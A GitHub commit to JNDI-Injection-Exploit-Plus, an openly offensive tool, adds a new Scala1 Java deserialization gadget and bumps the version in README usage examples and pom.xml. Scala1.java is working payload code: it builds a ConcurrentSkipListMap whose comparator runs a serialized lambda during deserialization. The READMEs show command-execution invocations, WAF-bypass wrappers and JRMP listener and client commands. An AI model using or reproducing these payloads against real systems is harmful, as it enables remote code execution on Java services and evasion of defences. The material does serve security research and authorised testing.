Skip to content

Commit f9e0970

Browse files
committed
add chain scala1
1 parent 49f7d43 commit f9e0970

File tree

6 files changed

+118
-21
lines changed

6 files changed

+118
-21
lines changed

README.md

Lines changed: 11 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -35,7 +35,7 @@ Groovy (GroovyClassLoader) | @cckuailong | trustURLCodebase is false but have To
3535
Groovy (GroovyShell) | @cckuailong | trustURLCodebase is false but have Tomcat and Groovy in classpath
3636
Websphere Readfile | @cckuailong | trustURLCodebase is false but have WebSphere v6-v9 in classpath
3737

38-
#### 3. Deserailization Gadget (total: 74)
38+
#### 3. Deserailization Gadget (total: 75)
3939

4040
P.S. More Gadgets (:arrow_up: ) than ysoserial, welcome to PR more! ^_^
4141

@@ -97,6 +97,7 @@ Myfaces1 |@mbechler|
9797
Myfaces2 |@mbechler|
9898
ROME1 |@mbechler |rome:1.0
9999
ROME2 :arrow_up: |@firebasky |rome:1.0
100+
Scala1 :arrow_up: |@jarij |org.scala-lang:scala-library:2.13.x
100101
Spring1 |@frohoff |spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
101102
Spring2 |@mbechler |spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
102103
Spring3 :arrow_up: |@cckuailong |spring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2
@@ -137,7 +138,7 @@ Dirty | Insert a lot of dirty data to bypass WAF
137138
- Example
138139

139140
```shell
140-
$ java -jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream
141+
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream
141142
```
142143

143144
![](./img/4.png)
@@ -149,15 +150,15 @@ Hide class name to bypass WAF.
149150
- Example
150151

151152
```shell
152-
$ java -jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -F
153+
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -F
153154
```
154155

155156
Reference: [https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html](https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html)
156157

157158
#### Web service to return Deserial Gadgets
158159

159160
```shell
160-
java -jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar
161+
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar
161162
```
162163

163164
```shell
@@ -177,7 +178,7 @@ P.S. Param wrapper & output is opetional
177178
Run as
178179

179180
```shell
180-
$ java -jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar [-C] [command] [-A] [address]
181+
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-A] [address]
181182
```
182183

183184
where:
@@ -207,7 +208,7 @@ Points for attention:
207208
Run as
208209

209210
```shell
210-
$ java -jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [base64/hex]
211+
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [base64/hex]
211212
```
212213

213214
where:
@@ -225,13 +226,13 @@ where:
225226
- JRMPListener
226227

227228
```shell
228-
java -cp JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
229+
java -cp JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
229230
```
230231

231232
- JRMPClient
232233

233234
```shell
234-
java -jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64
235+
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64
235236
```
236237

237238
## Examples
@@ -243,7 +244,7 @@ Local demo:
243244
1. Start the tool like this:
244245

245246
```shell
246-
$ java -jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
247+
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
247248
```
248249

249250
Screenshot:
@@ -274,7 +275,7 @@ For More Examples: [Test-JNDI-Injection-Exploit-Plus](https://github.com/cckuail
274275
### Deserialization Payloads
275276

276277
```shell
277-
$ java -jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64
278+
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64
278279
```
279280

280281
Base64 Output Result:

README_zh.md

Lines changed: 10 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -12,14 +12,14 @@ JNDI-Injection-Exploit-Plus改写自welk1n大佬的JNDI-Injection-Exploit项目
1212

1313
- 远程Reference链 (3种)
1414
- 本地Reference链 (4种)
15-
- 反序列化链(74种
15+
- 反序列化链(75种
1616

1717
P.S. 具体利用链名称及依赖见 [表格](./README.md)
1818

1919
#### 使用方法
2020

2121
```
22-
$ java -jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar [-C] [command] [-A] [address]
22+
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-A] [address]
2323
```
2424

2525
#### 参数说明
@@ -39,7 +39,7 @@ $ java -jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar [-C] [command] [-A]
3939
1. 运行工具
4040

4141
```
42-
$ java -jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
42+
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
4343
```
4444

4545
![](./img/1.png)
@@ -64,7 +64,7 @@ class Test{
6464
#### 使用方法
6565

6666
```
67-
$ java -jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [base64/hex]
67+
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [base64/hex]
6868
```
6969

7070
#### 参数说明
@@ -84,7 +84,7 @@ $ java -jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar [-C] [command] [-D]
8484
1. 普通
8585

8686
```
87-
$ java -jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64
87+
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64
8888
```
8989

9090
![](./img/3.png)
@@ -93,12 +93,12 @@ $ java -jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar -C "/System/Applica
9393

9494
- JRMPListener
9595
```
96-
java -cp JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
96+
java -cp JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
9797
```
9898

9999
- JRMPClient
100100
```
101-
java -jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64
101+
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64
102102
```
103103

104104
#### 提供反序列化包装器
@@ -114,7 +114,7 @@ Dirty | 插入大量脏数据来绕过WAF检测
114114
- 示例
115115

116116
```shell
117-
$ java -jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream
117+
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream
118118
```
119119

120120
![](./img/4.png)
@@ -126,15 +126,15 @@ $ java -jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar -C "open -a Calcula
126126
- Example
127127

128128
```shell
129-
$ java -jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -F
129+
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -F
130130
```
131131

132132
参考链接:[https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html](https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html)
133133

134134
#### 可以返回反序列化数据的web服务
135135

136136
```shell
137-
java -jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar
137+
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar
138138
```
139139

140140
```shell

pom.xml

Lines changed: 7 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66

77
<groupId>cckuailong</groupId>
88
<artifactId>JNDI-Injection-Exploit-Plus</artifactId>
9-
<version>2.4-SNAPSHOT</version>
9+
<version>2.5-SNAPSHOT</version>
1010

1111
<properties>
1212
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
@@ -260,6 +260,12 @@
260260
<version>26.0.1.Final</version>
261261
</dependency>
262262

263+
<dependency>
264+
<groupId>org.scala-lang</groupId>
265+
<artifactId>scala-library</artifactId>
266+
<version>2.13.6</version>
267+
</dependency>
268+
263269
<dependency>
264270
<groupId>org.springframework</groupId>
265271
<artifactId>spring-tx</artifactId>

src/main/java/payloads/Scala1.java

Lines changed: 83 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,83 @@
1+
package payloads;
2+
3+
import payloads.annotation.Authors;
4+
import payloads.annotation.Dependencies;
5+
import scala.Tuple2;
6+
import sun.reflect.ReflectionFactory;
7+
import util.PayloadRunner;
8+
import util.StubClassConstructor;
9+
10+
import java.io.*;
11+
import java.lang.invoke.MethodHandleInfo;
12+
import java.lang.invoke.SerializedLambda;
13+
import java.lang.reflect.Constructor;
14+
import java.lang.reflect.Field;
15+
import java.util.concurrent.ConcurrentSkipListMap;
16+
17+
18+
@SuppressWarnings({"rawtypes"})
19+
@Dependencies({"org.scala-lang:scala-library:2.13.6"})
20+
@Authors({ Authors.JARIJ })
21+
public class Scala1 extends PayloadRunner implements ObjectPayload<Object> {
22+
23+
public Object getObject(final String command) throws Exception {
24+
String[] nameValue = command.split(":");
25+
String key = nameValue[0];
26+
String value = nameValue[1];
27+
28+
ReflectionFactory rf =
29+
ReflectionFactory.getReflectionFactory();
30+
31+
Tuple2 prop = new scala.Tuple2<>(key, value);
32+
33+
// Should be: 142951686315914362
34+
long versionUID = ObjectStreamClass.lookup(scala.Tuple2.class).getSerialVersionUID();
35+
// System.out.println("VersionUID: " + versionUID);
36+
37+
SerializedLambda lambdaSetSystemProperty = new SerializedLambda(scala.sys.SystemProperties.class,
38+
"scala/Function0", "apply", "()Ljava/lang/Object;",
39+
MethodHandleInfo.REF_invokeStatic, "scala.sys.SystemProperties",
40+
"$anonfun$addOne$1", "(Lscala/Tuple2;)Ljava/lang/String;",
41+
"()Lscala/sys/SystemProperties;", new Object[]{prop});
42+
43+
Class<?> clazz = Class.forName("scala.collection.View$Fill");
44+
Constructor<?> ctor = clazz.getConstructor(int.class, scala.Function0.class);
45+
Object view = ctor.newInstance(1, createFuncFromSerializedLambda(lambdaSetSystemProperty));
46+
47+
clazz = Class.forName("scala.math.Ordering$IterableOrdering");
48+
ctor = rf.newConstructorForSerialization(
49+
clazz, StubClassConstructor.class.getDeclaredConstructor()
50+
);
51+
52+
Object iterableOrdering = ctor.newInstance();
53+
54+
// on readObject, ConcurrentSkipListMap invokes comparator.compare(Object x, Object y);
55+
// Initialize ConcurrentSkipList with a dummy comparator (a comparator that allows putting values into the list)
56+
ConcurrentSkipListMap map = new ConcurrentSkipListMap((o1, o2) -> 1);
57+
58+
// add the view entry to the map, when the view.iterable().next() is invoked, the System.setProperty lambda is executed
59+
map.put(view, 1);
60+
map.put(view, 2);
61+
62+
// Replace the comparator with the IterableComparator
63+
// IterableComparator is responsible for executing the view.iterable().next() on comparison
64+
Field f = map.getClass().getDeclaredField("comparator");
65+
f.setAccessible(true);
66+
f.set(map, iterableOrdering);
67+
68+
return map;
69+
}
70+
71+
private static Object createFuncFromSerializedLambda(SerializedLambda serialized) throws IOException, ClassNotFoundException {
72+
ByteArrayOutputStream baos = new ByteArrayOutputStream();
73+
ObjectOutputStream oos = new ObjectOutputStream(baos);
74+
oos.writeObject(serialized);
75+
76+
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
77+
return ois.readObject();
78+
}
79+
80+
public static byte[] getBytes (final String command, Boolean fusion) throws Exception {
81+
return PayloadRunner.run(Scala1.class, command,fusion);
82+
}
83+
}

src/main/java/payloads/annotation/Authors.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -30,6 +30,7 @@
3030
String CCKUAILONG = "cckuailong";
3131
String YULEGEYU = "yulegeyu";
3232
String Y4ER = "y4er";
33+
String JARIJ = "jarij";
3334

3435
String[] value() default {};
3536

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
package util;
2+
3+
public class StubClassConstructor {
4+
public StubClassConstructor() {
5+
}
6+
}

0 commit comments

Comments
 (0)